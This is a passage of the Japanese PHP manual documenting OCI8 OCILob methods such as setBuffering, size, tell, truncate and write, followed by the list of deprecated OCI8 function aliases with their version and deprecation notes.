(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::setBuffering — 現在のラージオブジェクト用のバッファリング状態を変更する

説明

OCILob::setBuffering ( bool $on_off ) : bool

ラージオブジェクト用のバッファリングを on_off パラメータの値で設定します。

この関数を使用することで、LOB の細かな読み込みや書き込みがバッファリングされことにより ネットワークのラウンドトリップや LOB バージョニングの回数が低減され、 パフォーマンスが改善されます。 OCILob::flush() はラージオブジェクトの処理が完了した際、 バッファをフラッシュするために使用します。

パラメータ

on_off

true は有効、false は無効を表します。

返り値

成功した場合に true を、失敗した場合に false を返します。 同じフラグで繰り返しコールすると true を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::getBuffering

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトのサイズを返す

  • ≪ OCILob::setBuffering
  • OCILob::tell ≫
  • PHP Manual
  • OCILob
  • ラージオブジェクトのサイズを返す

OCILob::size

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::size — ラージオブジェクトのサイズを返す

説明

OCILob::size ( ) : int|false

ラージオブジェクトのサイズを取得します。

返り値

ラージオブジェクトのサイズを返します。 失敗した場合に false を返します。 空のオブジェクトは長さ 0 となります。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトの内部ポインタの現在位置を返す

  • ≪ OCILob::size
  • OCILob::truncate ≫
  • PHP Manual
  • OCILob
  • ラージオブジェクトの内部ポインタの現在位置を返す

OCILob::tell

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::tell — ラージオブジェクトの内部ポインタの現在位置を返す

説明

OCILob::tell ( ) : int

LOB の内部ポインタの現在位置を取得します。

返り値

LOB の内部ポインタの現在位置を返します。 エラーの場合、false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::rewind
  • OCILob::size
  • OCILob::eof

User Contributed Notes

There are no user contributed notes for this page.


ラージオブジェクトを切りつめる

  • ≪ OCILob::tell
  • OCILob::write ≫
  • PHP Manual
  • OCILob
  • ラージオブジェクトを切りつめる

OCILob::truncate

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::truncate — ラージオブジェクトを切りつめる

説明

Lob::truncate ( int $length = 0 ) : bool

LOB を切りつめます。

パラメータ

length

指定した場合は、このメソッドはラージオブジェクトを length バイトに切りつめます。 そうでない場合は、LOB を完全に消去します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::erase

User Contributed Notes

There are no user contributed notes for this page.


データをラージオブジェクトに書き込む

  • ≪ OCILob::truncate
  • OCILob::writeTemporary ≫
  • PHP Manual
  • OCILob
  • データをラージオブジェクトに書き込む

OCILob::write

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::write — データをラージオブジェクトに書き込む

説明

OCILob::write ( string $data , int $length = ? ) : int|false

パラメータ data からのデータを LOB の内部ポインタの現在位置に書き込みます。

パラメータ

data

LOB に書き込むデータ。

length

このパラメータを指定すると、 length バイト書き込むか data の終端に達するか、 いずれか早い方の後に書き込みが停止します。

返り値

書き込んだバイト数、失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::read

User Contributed Notes

There are no user contributed notes for this page.


一時的なラージオブジェクトを書き込む

  • ≪ OCILob::write
  • OCILob::writeToFile ≫
  • PHP Manual
  • OCILob
  • 一時的なラージオブジェクトを書き込む

OCILob::writeTemporary

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::writeTemporary — 一時的なラージオブジェクトを書き込む

説明

OCILob::writeTemporary ( string $data , int $lob_type = OCI_TEMP_CLOB ) : bool

一時的なラージオブジェクトを生成し、 data を書き込みます。

オブジェクトの使用後、OCILob::close を使用するべきです。

パラメータ

data

書き込むデータ。

lob_type

以下のいずれかです。

  • OCI_TEMP_BLOB が一時的な BLOB を生成するために使われます
  • OCI_TEMP_CLOB が一時的な CLOB を生成するために使われます

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

参考

  • OCILob::close

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス OCILob::export

  • ≪ OCILob::writeTemporary
  • OCI8 廃止されたエイリアスと関数 ≫
  • PHP Manual
  • OCILob
  • のエイリアス OCILob::export

OCILob::writeToFile

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::writeToFile — のエイリアス OCILob::export()

説明

この関数は次の関数のエイリアスです。 OCILob::export().

変更履歴

バージョン | 説明
8.0.0, PECL OCI8 3.0.0 | OCI-Lob クラスは、 PHP の名前付けの規約に従って OCILob に名前が変更されました。

User Contributed Notes

There are no user contributed notes for this page.


OCI8 廃止されたエイリアスと関数

目次

  • oci_internal_debug — 内部的なデバッグ出力を有効/無効にする
  • ocibindbyname — oci_bind_by_name のエイリアス
  • ocicancel — oci_cancel のエイリアス
  • ocicloselob — OCI-Lob::close のエイリアス
  • ocicollappend — のエイリアス OCICollection::append
  • ocicollassign — のエイリアス OCICollection::assign
  • ocicollassignelem — のエイリアス OCICollection::assignElem
  • ocicollgetelem — のエイリアス OCICollection::getElem
  • ocicollmax — のエイリアス OCICollection::max
  • ocicollsize — のエイリアス OCICollection::size
  • ocicolltrim — のエイリアス OCICollection::trim
  • ocicolumnisnull — oci_field_is_null のエイリアス
  • ocicolumnname — oci_field_name のエイリアス
  • ocicolumnprecision — oci_field_precision のエイリアス
  • ocicolumnscale — oci_field_scale のエイリアス
  • ocicolumnsize — oci_field_size のエイリアス
  • ocicolumntype — oci_field_type のエイリアス
  • ocicolumntyperaw — oci_field_type_raw のエイリアス
  • ocicommit — oci_commit のエイリアス
  • ocidefinebyname — oci_define_by_name のエイリアス
  • ocierror — oci_error のエイリアス
  • ociexecute — oci_execute のエイリアス
  • ocifetch — oci_fetch のエイリアス
  • ocifetchinto — 廃止された関数。oci_fetch_array や oci_fetch_object、 oci_fetch_assoc、 oci_fetch_row の変種
  • ocifetchstatement — oci_fetch_all のエイリアス
  • ocifreecollection — のエイリアス OCICollection::free
  • ocifreecursor — oci_free_statement のエイリアス
  • ocifreedesc — OCI-Lob::free のエイリアス
  • ocifreestatement — oci_free_statement のエイリアス
  • ociinternaldebug — oci_internal_debug のエイリアス
  • ociloadlob — OCI-Lob::load のエイリアス
  • ocilogoff — oci_close のエイリアス
  • ocilogon — oci_connect のエイリアス
  • ocinewcollection — oci_new_collection のエイリアス
  • ocinewcursor — oci_new_cursor のエイリアス
  • ocinewdescriptor — oci_new_descriptor のエイリアス
  • ocinlogon — oci_new_connect のエイリアス
  • ocinumcols — oci_num_fields のエイリアス
  • ociparse — oci_parse のエイリアス
  • ociplogon — oci_pconnect のエイリアス
  • ociresult — oci_result のエイリアス
  • ocirollback — oci_rollback のエイリアス
  • ocirowcount — oci_num_rows のエイリアス
  • ocisavelob — OCI-Lob::save のエイリアス
  • ocisavelobfile — OCI-Lob::import のエイリアス
  • ociserverversion — oci_server_version のエイリアス
  • ocisetprefetch — oci_set_prefetch のエイリアス
  • ocistatementtype — oci_statement_type のエイリアス
  • ociwritelobtofile — OCI-Lob::export のエイリアス
  • ociwritetemporarylob — OCI-Lob::writeTemporary のエイリアス

User Contributed Notes

There are no user contributed notes for this page.


内部的なデバッグ出力を有効/無効にする

  • ≪ OCI8 廃止されたエイリアスと関数
  • ocibindbyname ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • 内部的なデバッグ出力を有効/無効にする

oci_internal_debug

(PHP 5, PHP 7, PECL OCI8 >= 1.1.0, PECL OCI8 <= 2.2.0)

oci_internal_debug — 内部的なデバッグ出力を有効/無効にする

説明

oci_internal_debug ( bool $onoff ) : void

内部的なデバッグ出力を有効/無効にします。

パラメータ

onoff

この値を false にすると、デバッグ出力がオフになり、 true にするとオンになります。

返り値

値を返しません。

注意

注意:

この関数は PHP 8 と PECL OCI8 3.0 からは削除されています。

注意:

この関数は PHP 5.6 および PECL OCI 2.6 では動きません。 DTrace を代わりに使って下さい。

注意:

PHP バージョン 5.0.0 以前では、代わりに ociinternaldebug() を使用しなければなりません。 まだこの名前を使用することができ、下位互換性のため oci_internal_debug() への別名として残されていますが、 推奨されません。

User Contributed Notes

Rainer Perske 23-Oct-2015 11:10
With PHP 5.6, oci_internal_debug() is a no-op, as documented on http://php.net/manual/de/migration56.extensions.php


oci_bind_by_name のエイリアス

  • ≪ oci_internal_debug
  • ocicancel ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_bind_by_name のエイリアス

ocibindbyname

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocibindbyname — oci_bind_by_name() のエイリアス

説明

oci_bind_by_name() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_cancel のエイリアス

  • ≪ ocibindbyname
  • ocicloselob ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_cancel のエイリアス

ocicancel

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicancel — oci_cancel() のエイリアス

説明

oci_cancel() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


OCI-Lob::close のエイリアス

  • ≪ ocicancel
  • ocicollappend ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • OCI-Lob::close のエイリアス

ocicloselob

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PECL OCI8 1.0)

ocicloselob — OCI-Lob::close() のエイリアス

説明

OCI-Lob::close() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス OCICollection::append

  • ≪ ocicloselob
  • ocicollassign ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • のエイリアス OCICollection::append

ocicollappend

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollappend — のエイリアス OCICollection::append()

説明

のエイリアス OCICollection::append()

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス OCICollection::assign

  • ≪ ocicollappend
  • ocicollassignelem ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • のエイリアス OCICollection::assign

ocicollassign

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PECL OCI8 >= 1.0.0)

ocicollassign — のエイリアス OCICollection::assign()

説明

のエイリアス OCICollection::assign()

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス OCICollection::assignElem

  • ≪ ocicollassign
  • ocicollgetelem ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • のエイリアス OCICollection::assignElem

ocicollassignelem

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollassignelem — のエイリアス OCICollection::assignElem()

説明

のエイリアス OCICollection::assignElem()

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス OCICollection::getElem

  • ≪ ocicollassignelem
  • ocicollmax ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • のエイリアス OCICollection::getElem

ocicollgetelem

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollgetelem — のエイリアス OCICollection::getElem()

説明

のエイリアス OCICollection::getElem()

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス OCICollection::max

  • ≪ ocicollgetelem
  • ocicollsize ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • のエイリアス OCICollection::max

ocicollmax

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollmax — のエイリアス OCICollection::max()

説明

のエイリアス OCICollection::max()

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス OCICollection::size

  • ≪ ocicollmax
  • ocicolltrim ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • のエイリアス OCICollection::size

ocicollsize

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollsize — のエイリアス OCICollection::size()

説明

のエイリアス OCICollection::size()

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス OCICollection::trim

  • ≪ ocicollsize
  • ocicolumnisnull ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • のエイリアス OCICollection::trim

ocicolltrim

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolltrim — のエイリアス OCICollection::trim()

説明

のエイリアス OCICollection::trim()

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_field_is_null のエイリアス

  • ≪ ocicolltrim
  • ocicolumnname ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_field_is_null のエイリアス

ocicolumnisnull

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnisnull — oci_field_is_null() のエイリアス

説明

oci_field_is_null() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_field_name のエイリアス

  • ≪ ocicolumnisnull
  • ocicolumnprecision ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_field_name のエイリアス

ocicolumnname

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnname — oci_field_name() のエイリアス

説明

oci_field_name() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_field_precision のエイリアス

  • ≪ ocicolumnname
  • ocicolumnscale ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_field_precision のエイリアス

ocicolumnprecision

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnprecision — oci_field_precision() のエイリアス

説明

oci_field_precision() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_field_scale のエイリアス

  • ≪ ocicolumnprecision
  • ocicolumnsize ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_field_scale のエイリアス

ocicolumnscale

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnscale — oci_field_scale() のエイリアス

説明

oci_field_scale() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_field_size のエイリアス

  • ≪ ocicolumnscale
  • ocicolumntype ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_field_size のエイリアス

ocicolumnsize

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnsize — oci_field_size() のエイリアス

説明

oci_field_size() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_field_type のエイリアス

  • ≪ ocicolumnsize
  • ocicolumntyperaw ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_field_type のエイリアス

ocicolumntype

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumntype — oci_field_type() のエイリアス

説明

oci_field_type() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_field_type_raw のエイリアス

  • ≪ ocicolumntype
  • ocicommit ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_field_type_raw のエイリアス

ocicolumntyperaw

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumntyperaw — oci_field_type_raw() のエイリアス

説明

oci_field_type_raw() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_commit のエイリアス

  • ≪ ocicolumntyperaw
  • ocidefinebyname ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_commit のエイリアス

ocicommit

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicommit — oci_commit() のエイリアス

説明

oci_commit() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_define_by_name のエイリアス

  • ≪ ocicommit
  • ocierror ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_define_by_name のエイリアス

ocidefinebyname

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocidefinebyname — oci_define_by_name() のエイリアス

説明

oci_define_by_name() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_error のエイリアス

  • ≪ ocidefinebyname
  • ociexecute ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_error のエイリアス

ocierror

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocierror — oci_error() のエイリアス

説明

oci_error() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_execute のエイリアス

  • ≪ ocierror
  • ocifetch ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_execute のエイリアス

ociexecute

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociexecute — oci_execute() のエイリアス

説明

oci_execute() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_fetch のエイリアス

  • ≪ ociexecute
  • ocifetchinto ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_fetch のエイリアス

ocifetch

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifetch — oci_fetch() のエイリアス

説明

oci_fetch() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


廃止された関数。oci_fetch_array や oci_fetch_object、 oci_fetch_assoc、 oci_fetch_row の変種

  • ≪ ocifetch
  • ocifetchstatement ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • 廃止された関数。oci_fetch_array や oci_fetch_object、 oci_fetch_assoc、 oci_fetch_row の変種

ocifetchinto

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifetchinto — 廃止された関数。oci_fetch_array() や oci_fetch_object()、
   oci_fetch_assoc()、
   oci_fetch_row() の変種

説明

oci_fetch_array() や oci_fetch_object()、
  oci_fetch_assoc()、
  oci_fetch_row() の変種です。

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_fetch_all のエイリアス

  • ≪ ocifetchinto
  • ocifreecollection ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_fetch_all のエイリアス

ocifetchstatement

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifetchstatement — oci_fetch_all() のエイリアス

説明

oci_fetch_all() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス OCICollection::free

  • ≪ ocifetchstatement
  • ocifreecursor ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • のエイリアス OCICollection::free

ocifreecollection

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreecollection — のエイリアス OCICollection::free()

説明

のエイリアス OCICollection::free()

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_free_statement のエイリアス

  • ≪ ocifreecollection
  • ocifreedesc ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_free_statement のエイリアス

ocifreecursor

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreecursor — oci_free_statement() のエイリアス

説明

oci_free_statement() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


OCI-Lob::free のエイリアス

  • ≪ ocifreecursor
  • ocifreestatement ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • OCI-Lob::free のエイリアス

ocifreedesc

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreedesc — OCI-Lob::free() のエイリアス

説明

OCI-Lob::free() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_free_statement のエイリアス

  • ≪ ocifreedesc
  • ociinternaldebug ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_free_statement のエイリアス

ocifreestatement

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocifreestatement — oci_free_statement() のエイリアス

説明

oci_free_statement() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_internal_debug のエイリアス

  • ≪ ocifreestatement
  • ociloadlob ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_internal_debug のエイリアス

ociinternaldebug

(PHP 4, PHP 5, PHP 7, PECL OCI8 >= 1.0.0, PECL OCI8 <= 2.2.0)

ociinternaldebug — oci_internal_debug() のエイリアス

説明

oci_internal_debug() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


OCI-Lob::load のエイリアス

  • ≪ ociinternaldebug
  • ocilogoff ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • OCI-Lob::load のエイリアス

ociloadlob

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociloadlob — OCI-Lob::load() のエイリアス

説明

OCI-Lob::load() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_close のエイリアス

  • ≪ ociloadlob
  • ocilogon ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_close のエイリアス

ocilogoff

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocilogoff — oci_close() のエイリアス

説明

oci_close() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_connect のエイリアス

  • ≪ ocilogoff
  • ocinewcollection ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_connect のエイリアス

ocilogon

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocilogon — oci_connect() のエイリアス

説明

oci_connect() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_new_collection のエイリアス

  • ≪ ocilogon
  • ocinewcursor ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_new_collection のエイリアス

ocinewcollection

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinewcollection — oci_new_collection() のエイリアス

説明

oci_new_collection() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_new_cursor のエイリアス

  • ≪ ocinewcollection
  • ocinewdescriptor ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_new_cursor のエイリアス

ocinewcursor

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinewcursor — oci_new_cursor() のエイリアス

説明

oci_new_cursor() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_new_descriptor のエイリアス

  • ≪ ocinewcursor
  • ocinlogon ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_new_descriptor のエイリアス

ocinewdescriptor

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinewdescriptor — oci_new_descriptor() のエイリアス

説明

oci_new_descriptor() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_new_connect のエイリアス

  • ≪ ocinewdescriptor
  • ocinumcols ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_new_connect のエイリアス

ocinlogon

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinlogon — oci_new_connect() のエイリアス

説明

oci_new_connect() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_num_fields のエイリアス

  • ≪ ocinlogon
  • ociparse ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_num_fields のエイリアス

ocinumcols

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocinumcols — oci_num_fields() のエイリアス

説明

oci_num_fields() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_parse のエイリアス

  • ≪ ocinumcols
  • ociplogon ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_parse のエイリアス

ociparse

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociparse — oci_parse() のエイリアス

説明

oci_parse() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_pconnect のエイリアス

  • ≪ ociparse
  • ociresult ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_pconnect のエイリアス

ociplogon

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociplogon — oci_pconnect() のエイリアス

説明

oci_pconnect() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


oci_result のエイリアス

  • ≪ ociplogon
  • ocirollback ≫
  • PHP Manual
  • OCI8 廃止されたエイリアスと関数
  • oci_result のエイリアス

ociresult

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ociresult — oci_result() のエイリアス

説明

oci_result() のエイリアス

警告

このエイリアスは PHP 5.4.0 で 非推奨 となりました。 このエイリアスを使用しないことを強く推奨します。

User Contributed Notes

There are no user contributed notes for this page.


